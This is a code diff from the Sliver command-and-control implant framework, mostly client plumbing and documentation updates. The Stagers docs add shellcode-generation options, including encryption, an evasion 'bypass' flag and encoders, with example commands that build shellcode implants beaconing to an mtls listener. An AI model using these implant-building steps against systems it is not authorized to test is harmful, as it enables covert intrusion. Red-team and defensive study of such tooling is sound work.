 		execCmd.Flags().AddFlagSet(f)
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
 
 		exec.PrintExecute(execResult, execCmd, con)
 
+	case sliverpb.MsgExecuteChildrenReq:
+		execChildren := &sliverpb.ExecuteChildren{}
+		err := proto.Unmarshal(task.Response, execChildren)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+		exec.PrintExecuteChildren(execChildren, con)
+
 	case sliverpb.MsgSideloadReq:
 		sideload := &sliverpb.Sideload{}
 		err := proto.Unmarshal(task.Response, sideload)

client/constants/constants.go

@@ -208,8 +208,9 @@ const (
 	GetGIDStr = "getgid"
 	WhoamiStr = "whoami"
 
-	ShellStr   = "shell"
-	ExecuteStr = "execute"
+	ShellStr           = "shell"
+	ExecuteStr         = "execute"
+	ExecuteChildrenStr = "children"
 
 	LsStr       = "ls"
 	MvStr       = "mv"
@@ -220,6 +221,8 @@ const (
 	CdStr       = "cd"
 	PwdStr      = "pwd"
 	CatStr      = "cat"
+	EditStr     = "edit"
+	HexEditStr  = "hex-edit"
 	DownloadStr = "download"
 	HeadStr     = "head"
 	TailStr     = "tail"
@@ -297,7 +300,8 @@ const (
 	GetPrivsStr = "getprivs"
 	ConnectStr  = "connect"
 
-	ShikataGaNai = "shikata-ga-nai"
+	ShikataGaNai         = "shikata-ga-nai"
+	ShellcodeEncodersStr = "shellcode-encoders"
 
 	Cursed         = "cursed"
 	CursedChrome   = "chrome"

client/core/socks.go

@@ -31,6 +31,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/leaky"
+	"golang.org/x/time/rate"
 )
 
 var (
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
 var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
 
 func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
+	// Client Rate Limiter: 10 operations per second, burst of 1
+	limiter := rate.NewLimiter(rate.Limit(10), 1)
 
 	SocksConnPool.Store(frame.TunnelID, conn)
 
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 			return
 		}
 		if n > 0 {
+			if err := limiter.Wait(context.Background()); err != nil {
+				log.Printf("[socks] rate limiter error: %s", err)
+				return
+			}
+
 			frame.Data = buff[:n]
 			frame.Sequence = ToImplantSequence
 			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))

client/forms/armory_install.go

@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
 		Title("Select packages or bundles to install").
 		Description("Use space to select and enter to install.").
 		Options(selectOptions...).
-		Height(listHeight(len(selectOptions))).
+		// huh.MultiSelect Height includes title/description, so add 2 lines for them.
+		Height(listHeight(len(selectOptions)) + 2).
 		Value(&result.SelectedNames)
 
 	form := huh.NewForm(huh.NewGroup(field))

client/forms/armory_updates.go

@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
 		Title("Select updates to apply").
 		Description("Use space to select and enter to apply.").
 		Options(selectOptions...).
-		Height(listHeight(len(selectOptions))).
+		// huh.MultiSelect Height includes title/description, so add 2 lines for them.
+		Height(listHeight(len(selectOptions)) + 2).
 		Value(&result.SelectedIDs)
 
 	form := huh.NewForm(huh.NewGroup(field))

client/forms/generate_profiles_new.go

@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
 					case "linux":
 						return []huh.Option[string]{
 							huh.NewOption("amd64", "amd64"),
+							huh.NewOption("arm64", "arm64"),
 							huh.NewOption("386", "386"),
 						}
 					default:
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
 							huh.NewOption("Service", "service"),
 							huh.NewOption("Shellcode", "shellcode"),
 						)
+					} else if result.OS == "darwin" || result.OS == "linux" {
+						options = append(options, huh.NewOption("Shellcode", "shellcode"))
 					}
 					return options
 				}, &result.OS).

client/forms/generate_profiles_new_beacon.go

@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
 					case "linux":
 						return []huh.Option[string]{
 							huh.NewOption("amd64", "amd64"),
+							huh.NewOption("arm64", "arm64"),
 							huh.NewOption("386", "386"),
 						}
 					default:
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
 							huh.NewOption("Service", "service"),
 							huh.NewOption("Shellcode", "shellcode"),
 						)
+					} else if result.OS == "darwin" || result.OS == "linux" {
+						options = append(options, huh.NewOption("Shellcode", "shellcode"))
 					}
 					return options
 				}, &result.OS).

client/forms/generate_targets.go

@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
 	case "linux":
 		return []huh.Option[string]{
 			huh.NewOption("amd64", "amd64"),
+			huh.NewOption("arm64", "arm64"),
 			huh.NewOption("386", "386"),
 		}
 	default:
@@ -64,6 +65,10 @@ func commonFormatOptions(goos string) []huh.Option[string] {
 			huh.NewOption("Service", "service"),
 			huh.NewOption("Shellcode", "shellcode"),
 		)
+	} else if goos == "darwin" {
+		options = append(options, huh.NewOption("Shellcode", "shellcode"))
+	} else if goos == "linux" {
+		options = append(options, huh.NewOption("Shellcode", "shellcode"))
 	}
 	return options
 }

client/forms/prompts.go

@@ -2,13 +2,14 @@ package forms
 
 import (
 	"errors"
+	"slices"
 	"strings"
 
 	"github.com/charmbracelet/huh"
 	"golang.org/x/term"
 )
 
-const defaultSelectHeight = 10
+const defaultSelectHeight = 5
 
 func getTerminalWidth() int {
 	// Try to get actual terminal width
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
 	field := huh.NewMultiSelect[string]().
 		Title(title).
 		Options(makeStringOptions(options)...).
-		Height(listHeight(len(options))).
+		// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
+		Height(listHeight(len(options)) + 1).
 		Value(value)
 
 	form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
 	field := huh.NewSelect[string]().
 		Title(title).
 		Options(makeStringOptions(options)...).
-		Height(listHeight(len(options))).
+		// huh.Select Height includes title/description, so add 1 for the title line.
+		Height(listHeight(len(options)) + 1).
 		Value(value)
 
 	if required {
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
 		*value = options[0]
 		return
 	}
-	for _, option := range options {
-		if option == *value {
-			return
-		}
+	if slices.Contains(options, *value) {
+		return
 	}
 	*value = options[0]
 }

client/packages/output.go

@@ -1,5 +1,23 @@
 package packages
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2024  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"encoding/json"
 	"fmt"
@@ -10,23 +28,6 @@ import (
 	"github.com/jedib0t/go-pretty/v6/table"
 )
 
-/*
-Sliver Implant Framework
-Copyright (C) 2024  Bishop Fox
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-This program is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
 const (
 	KeyValueSchemaName        = "key-value"
 	GroupedKeyValueSchemaName = "grouped-key-value"

client/transport/keepalive.go

@@ -0,0 +1,30 @@
+package transport
+
+import (
+	"sync"
+
+	"google.golang.org/grpc/keepalive"
+)
+
+var (
+	kaMu     sync.RWMutex
+	kaParams *keepalive.ClientParameters
+)
+
+// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
+// Behavior is unchanged unless this is called.
+func SetKeepaliveParams(p keepalive.ClientParameters) {
+	kaMu.Lock()
+	kaParams = &p
+	kaMu.Unlock()
+}
+
+func getKeepaliveParams() (keepalive.ClientParameters, bool) {
+	kaMu.RLock()
+	p := kaParams
+	kaMu.RUnlock()
+	if p == nil {
+		return keepalive.ClientParameters{}, false
+	}
+	return *p, true
+}

client/transport/mtls.go

@@ -28,6 +28,7 @@ import (
 	"time"
 
 	"google.golang.org/grpc"
+	"google.golang.org/grpc/connectivity"
 	"google.golang.org/grpc/credentials"
 
 	"github.com/bishopfox/sliver/client/assets"
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
 	options := []grpc.DialOption{
 		grpc.WithTransportCredentials(transportCreds),
 		grpc.WithPerRPCCredentials(callCreds),
-		grpc.WithBlock(),
 		grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
 	}
-	ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
-	defer cancel()
-	connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
+
+	if kp, ok := getKeepaliveParams(); ok {
+		options = append(options, grpc.WithKeepaliveParams(kp))
+	}
+
+	connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
 	if err != nil {
 		return nil, nil, err
 	}
+
+	// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
+	// until the channel becomes READY or the timeout expires.
+	ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
+	defer cancel()
+	for {
+		state := connection.GetState()
+		if state == connectivity.Idle {
+			connection.Connect()
+		}
+		if state == connectivity.Ready {
+			break
+		}
+		if !connection.WaitForStateChange(ctx, state) {
+			_ = connection.Close()
+			return nil, nil, ctx.Err()
+		}
+	}
+
 	return rpcpb.NewSliverRPCClient(connection), connection, nil
 }
 
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
 
 	cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
 	if err != nil {
-		log.Printf("Failed to parse certificate: " + err.Error())
+		log.Printf("Failed to parse certificate: %v", err)
 		return err
 	}
 
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
 		panic("no root certificate")
 	}
 	if _, err := cert.Verify(options); err != nil {
-		log.Printf("Failed to verify certificate: " + err.Error())
+		log.Printf("Failed to verify certificate: %v", err)
 		return err
 	}
 

docs/sliver-docs/pages/docs/md/Configuration Files.md

@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
     "level": 4,
     "grpc_unary_payloads": false,
     "grpc_stream_payloads": false
+  },
+  "grpc": {
+    "keepalive": {
+      "min_time_seconds": 30,
+      "permit_without_stream": true
+    }
   }
 }
 ```
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
   - `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
   - `grpc_unary_payloads` - Log gRPC unary payloads
   - `grpc_stream_payloads` - Log gRPC streaming payloads
+- `grpc` - An object containing options for the server gRPC stack
+  - `keepalive` - gRPC keepalive enforcement configuration
+    - `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
+    - `permit_without_stream` - Allow client pings when there are no active streams
 
 ## Database Configuration
 

docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md

@@ -1,4 +1,4 @@
-**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
+**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
 
 Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
 
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
 
 ## From MacOS to Linux/Windows
 
-Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
+Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
 
 However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
 

docs/sliver-docs/pages/docs/md/Daemon Mode.md

@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
         "level": 5,
         "grpc_unary_payloads": false,
         "grpc_stream_payloads": false
+    },
+    "grpc": {
+        "keepalive": {
+            "min_time_seconds": 30,
+            "permit_without_stream": true
+        }
     }
 }
 ```

docs/sliver-docs/pages/docs/md/External Builders.md

@@ -47,6 +47,7 @@ sliver > builders
 =============================== ========== =========== ============== ==========================
  molochs-MacBook-Pro-111.local   moloch     sliver      darwin/arm64   EXECUTABLE:linux/386
                                                                        EXECUTABLE:linux/amd64
+                                                                       EXECUTABLE:linux/arm64
                                                                        EXECUTABLE:windows/386
                                                                        EXECUTABLE:windows/amd64
                                                                        EXECUTABLE:darwin/amd64
@@ -56,10 +57,14 @@ sliver > builders
                                                                        SHARED_LIB:darwin/amd64
                                                                        SHARED_LIB:darwin/arm64
                                                                        SHARED_LIB:linux/amd64
+                                                                       SHARED_LIB:linux/arm64
                                                                        SERVICE:windows/386
                                                                        SERVICE:windows/amd64
                                                                        SHELLCODE:windows/386
                                                                        SHELLCODE:windows/amd64
+                                                                       SHELLCODE:darwin/arm64
+                                                                       SHELLCODE:linux/amd64
+                                                                       SHELLCODE:linux/arm64
 ```
 
 Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:

docs/sliver-docs/pages/docs/md/Notifications.md

@@ -39,7 +39,7 @@
   - [Viber](/docs?name=Notifications#viber)
   - [Web Push](/docs?name=Notifications#web-push)
   - [WeChat](/docs?name=Notifications#wechat)
-- [WhatsApp](/docs?name=Notifications#whatsapp)
+  - [WhatsApp](/docs?name=Notifications#whatsapp)
 - [Custom Templates](/docs?name=Notifications#custom-templates)
 - [Notes](/docs?name=Notifications#notes)
 

docs/sliver-docs/pages/docs/md/Stagers.md

@@ -1,4 +1,4 @@
-**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
+**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
 
 ## Overview
 
@@ -33,6 +33,35 @@ Name           Platform       Command & Control              Debug  Format
 win-shellcode  windows/amd64  [1] mtls://192.168.122.1:8888  false  SHELLCODE   enabled
 ```
 
+Shellcode generation varies by platform:
+
+- Windows shellcode uses Donut and supports all shellcode tuning flags below.
+- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
+
+Shellcode options:
+
+- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
+- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
+- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
+- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
+- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
+- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
+- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
+- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
+- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
+
+Example:
+
+```
+sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
+```
+
+Linux example (compression only):
+
+```
+sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
+```
+
 We can now create a staging listener and link it to the profile:
 
 ```

docs/sliver-docs/public/asciinema/create_profile.cast

@@ -138,7 +138,7 @@
 [14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
 [14.182566, "o", "\u001b[0 q\r\n"]
 [14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
-[14.198714, "o", "Usage:\r\n   profiles new [flags]\r\n   profiles new [command]\r\n\r\nAvailable Commands:\r\n  beacon      Create a new implant profile (beacon)\r\n\r\nFlags:\r\n  -a, --arch string               cpu architecture (default \"amd64\")\r\n  -C, --c2profile string          HTTP C2 profile to use (default \"default\")\r\n  -c, --canary string             canary domain(s)\r\n  -d, --debug                     enable debug features\r\n  -O, --debug-file string         path to debug output\r\n  -G, --disable-sgn               disable shikata ga nai shellcode encoder\r\n  -n, --dns string                dns connection strings\r\n  -e, --evasion                   enable evasion features (e.g. overwrite user space hooks)\r\n  -E, --external-builder          use an external builder\r\n  -f, --format psexec             Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n  -h, --help                      help for new\r\n  -b, --http string   "]
+[14.198714, "o", "Usage:\r\n   profiles new [flags]\r\n   profiles new [command]\r\n\r\nAvailable Commands:\r\n  beacon      Create a new implant profile (beacon)\r\n\r\nFlags:\r\n  -a, --arch string               cpu architecture (default \"amd64\")\r\n  -C, --c2profile string          HTTP C2 profile to use (default \"default\")\r\n  -c, --canary string             canary domain(s)\r\n  -d, --debug                     enable debug features\r\n  -O, --debug-file string         path to debug output\r\n      --shellcode-encoder string  shellcode encoder to apply (optional; see shellcode-encoders)\r\n  -n, --dns string                dns connection strings\r\n  -e, --evasion                   enable evasion features (e.g. overwrite user space hooks)\r\n  -E, --external-builder          use an external builder\r\n  -f, --format psexec             Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n  -h, --help                      help for new\r\n  -b, --http string   "]
 [14.200627, "o", "            http(s) connection strings\r\n  -X, --key-exchange uint32       wg key-exchange port (default 1337)\r\n  -w, --limit-datetime string     limit execution to before datetime\r\n  -x, --limit-domainjoined        limit execution to domain joined machines\r\n  -F, --limit-fileexists string   limit execution to hosts with this file in the filesystem\r\n  -z, --limit-hostname string     limit execution to specified hostname\r\n  -L, --limit-locale string       limit execution to hosts that match this locale\r\n  -y, --limit-username string     limit execution to specified username\r\n  -k, --max-errors uint32         max number of connection errors (default 1000)\r\n  -m, --mtls string               mtls connection strings\r\n  -N, --name string               agent name\r\n  -p, --named-pipe string         named-pipe connection strings\r\n  -q, --netgo                     force the use of netgo\r\n  -o, --os string                 operating system (default \"windows\")\r\n  -P, --poll-timeout int          long poll request timeout (d"]
 [14.201749, "o", "efault 360)\r\n  -j, --reconnect int             attempt to reconnect every n second(s) (default 60)\r\n  -R, --run-at-load               run the implant entrypoint from DllMain/Constructor (shared library only)\r\n  -s, --save string               directory/file to the binary to\r\n  -l, --skip-symbols              skip symbol obfuscation\r\n  -Z, --strategy string           specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n  -T, --tcp-comms uint32          wg c2 comms port (default 8888)\r\n  -i, --tcp-pivot string          tcp-pivot connection strings\r\n  -I, --template string           implant code template (default \"sliver\")\r\n  -A, --traffic-encoders string   comma separated list of traffic encoders to enable\r\n  -g, --wg string                 wg connection strings\r\n\r\nGlobal Flags:\r\n  -t, --timeout int   grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
 [14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
@@ -623,7 +623,7 @@
 [44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
 [44.608789, "o", "\u001b[0 q\r\n"]
 [44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
-[44.629236, "o", "Usage:\r\n   profiles generate [flags]\r\n\r\nFlags:\r\n  -G, --disable-sgn   disable shikata ga nai shellcode encoder\r\n  -h, --help          help for generate\r\n  -s, --save string   directory/file to the binary to\r\n\r\nGlobal Flags:\r\n  -t, --timeout int   grpc timeout in seconds (default 60)\r\n\r\n"]
+[44.629236, "o", "Usage:\r\n   profiles generate [flags]\r\n\r\nFlags:\r\n      --shellcode-encoder string  shellcode encoder to apply (optional; see shellcode-encoders)\r\n  -h, --help                      help for generate\r\n  -s, --save string               directory/file to the binary to\r\n\r\nGlobal Flags:\r\n  -t, --timeout int   grpc timeout in seconds (default 60)\r\n\r\n"]
 [44.630687, "o", "\r\n"]
 [44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
 [44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]

go-tests.sh

@@ -98,6 +98,13 @@ else
     exit 1
 fi
 
+# implant / sliver / transports / wireguard
+if go test ./implant/sliver/transports/wireguard ; then
+    :
+else
+    exit 1
+fi
+
 ## Server
 
 # server / assets / traffic encoders
@@ -146,8 +153,16 @@ else
     exit 1
 fi
 
-# server / sgn
-if go test -tags=server,$TAGS ./server/sgn ; then
+# server / encoders / shellcode / sgn
+if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
+    :
+else
+    cat ~/.sliver/logs/sliver.log
+    exit 1
+fi
+
+# server / encoders / shellcode / arm64
+if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
     :
 else
     cat ~/.sliver/logs/sliver.log
@@ -178,6 +193,26 @@ else
     exit 1
 fi
 
+# server / c2 / e2e (mtls + wg + yamux)
+SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
+if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
+    :
+else
+    cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
+    rm -rf "$SLIVER_ROOT_DIR_E2E"
+    exit 1
+fi
+
+# server / c2 / e2e (dns)
+if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
+    :
+else
+    cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
+    rm -rf "$SLIVER_ROOT_DIR_E2E"
+    exit 1
+fi
+rm -rf "$SLIVER_ROOT_DIR_E2E"
+
 # server / configs
 if go test -tags=server,$TAGS ./server/configs ; then
     :

go.mod

@@ -1,6 +1,6 @@
 module github.com/bishopfox/sliver
 
-go 1.25.5
+go 1.25.6
 
 replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
 
@@ -12,11 +12,11 @@ require (
 	filippo.io/age v1.3.1
 	github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
 	github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
-	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
 	github.com/Ne0nd0g/go-clr v1.0.3
 	github.com/SherClockHolmes/webpush-go v1.4.0
 	github.com/alecthomas/chroma v0.10.0
+	github.com/alecthomas/chroma/v2 v2.23.1
 	github.com/charmbracelet/huh v0.8.0
 	github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
 	github.com/charmbracelet/lipgloss v1.1.0
@@ -30,6 +30,7 @@ require (
 	github.com/google/uuid v1.6.0
 	github.com/gorilla/mux v1.8.1
 	github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
+	github.com/hashicorp/yamux v0.1.2
 	github.com/jedib0t/go-pretty/v6 v6.7.8
 	github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
 	github.com/klauspost/compress v1.18.1
@@ -46,6 +47,9 @@ require (
 	github.com/reeflective/readline v1.1.4
 	github.com/rsteube/carapace v0.50.2
 	github.com/sirupsen/logrus v1.9.3
+	github.com/sliverarmory/beignet v0.0.2
+	github.com/sliverarmory/malasada v0.0.2
+	github.com/sliverarmory/wasm-donut v0.0.3
 	github.com/spf13/cobra v1.10.2
 	github.com/spf13/pflag v1.0.10
 	github.com/stretchr/testify v1.11.1
@@ -219,9 +223,9 @@ require (
 	github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
 	github.com/catppuccin/go v0.3.0 // indirect
 	github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
-	github.com/charmbracelet/bubbletea v1.3.10 // indirect
+	github.com/charmbracelet/bubbletea v1.3.10
 	github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
-	github.com/charmbracelet/x/ansi v0.10.1 // indirect
+	github.com/charmbracelet/x/ansi v0.10.1
 	github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
 	github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
 	github.com/charmbracelet/x/term v0.2.1 // indirect
@@ -273,7 +277,7 @@ require (
 	github.com/mdlayher/socket v0.5.1 // indirect
 	github.com/mitchellh/go-ps v1.0.0 // indirect
 	github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
-	github.com/moloch--/go-keystone v0.0.2 // indirect
+	github.com/moloch--/go-keystone v0.0.2
 	github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
 	github.com/muesli/cancelreader v0.2.2 // indirect
 	github.com/muesli/termenv v0.16.0 // indirect
@@ -300,7 +304,7 @@ require (
 	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
 	golang.org/x/oauth2 v0.34.0 // indirect
 	golang.org/x/sync v0.19.0 // indirect
-	golang.org/x/time v0.14.0 // indirect
+	golang.org/x/time v0.14.0
 	golang.org/x/tools v0.40.0 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
 	golang.zx2c4.com/wireguard/windows v0.5.3 // indirect

go.sum

@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
 github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
 github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
-github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
-github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
 github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,8 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
 github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
 github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
 github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
+github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
